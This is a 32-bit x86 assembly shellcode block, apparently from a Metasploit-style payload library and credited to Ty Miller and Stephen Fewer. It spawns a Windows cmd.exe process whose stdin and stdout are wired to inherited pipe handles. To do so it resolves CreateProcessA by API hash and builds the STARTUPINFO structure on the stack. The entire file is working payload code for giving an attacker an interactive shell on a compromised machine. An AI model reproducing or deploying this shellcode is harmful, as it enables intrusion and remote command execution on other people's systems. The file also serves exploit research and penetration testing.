;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Credits: Some code borrowed from block_shell.asm; Stephen Fewer
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]

; Input:
;	EBP is api_call
;       esp+00  child stdin  read  file descriptor (inherited)
;       esp+04  not used
;       esp+08  not used
;       esp+12  child stdout write file descriptor (inherited)
; Output: None.
; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified

shell:
  push 0x00646D63        ; push our command line: 'cmd',0
  mov ebx, esp           ; save a pointer to the command line
  push dword [esp+16]	 ; child stdout write file descriptor for process stderr
  push dword [esp+20]	 ; child stdout write file descriptor for process stdout
  push dword [esp+12]	 ; child stdin read file descriptor for process stdout
  xor esi, esi           ; Clear ESI for all the NULL's we need to push
  push byte 18           ; We want to place (18 * 4) = 72 null bytes onto the stack
  pop ecx                ; Set ECX for the loop
push_loop:               ;
  push esi               ; push a null dword
  loop push_loop         ; keep looping until we have pushed enough nulls
  mov word [esp + 60], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
  lea eax, [esp + 16]    ; Set EAX as a pointer to our STARTUPINFO Structure
  mov byte [eax], 68     ; Set the size of the STARTUPINFO Structure
  ; perform the call to CreateProcessA
  push esp               ; Push the pointer to the PROCESS_INFORMATION Structure 
  push eax               ; Push the pointer to the STARTUPINFO Structure
  push esi               ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
  push esi               ; The lpEnvironment is NULL so the new process will have the same environment as its parent
  push esi               ; We don't specify any dwCreationFlags 
  inc esi                ; Increment ESI to be one
  push esi               ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
  dec esi                ; Decrement ESI back down to zero
  push esi               ; Set lpThreadAttributes to NULL
  push esi               ; Set lpProcessAttributes to NULL
  push ebx               ; Set the lpCommandLine to point to "cmd",0
  push esi               ; Set lpApplicationName to NULL as we are using the command line param instead
  push 0x863FCC79        ; hash( "kernel32.dll", "CreateProcessA" )
  call ebp               ; CreateProcessA( 0, &"cmd", 0, 0, TRUE, 0, 0, 0, &si, &pi );
  ; perform the call to WaitForSingleObject
;  mov eax, esp           ; save pointer to the PROCESS_INFORMATION Structure
;  dec esi                ; Decrement ESI down to -1 (INFINITE)
;  push esi               ; push INFINITE inorder to wait forever
;  inc esi                ; Increment ESI back to zero
;  push dword [eax]       ; push the handle from our PROCESS_INFORMATION.hProcess
;  push 0x601D8708        ; hash( "kernel32.dll", "WaitForSingleObject" )
;  call ebp               ; WaitForSingleObject( pi.hProcess, INFINITE );

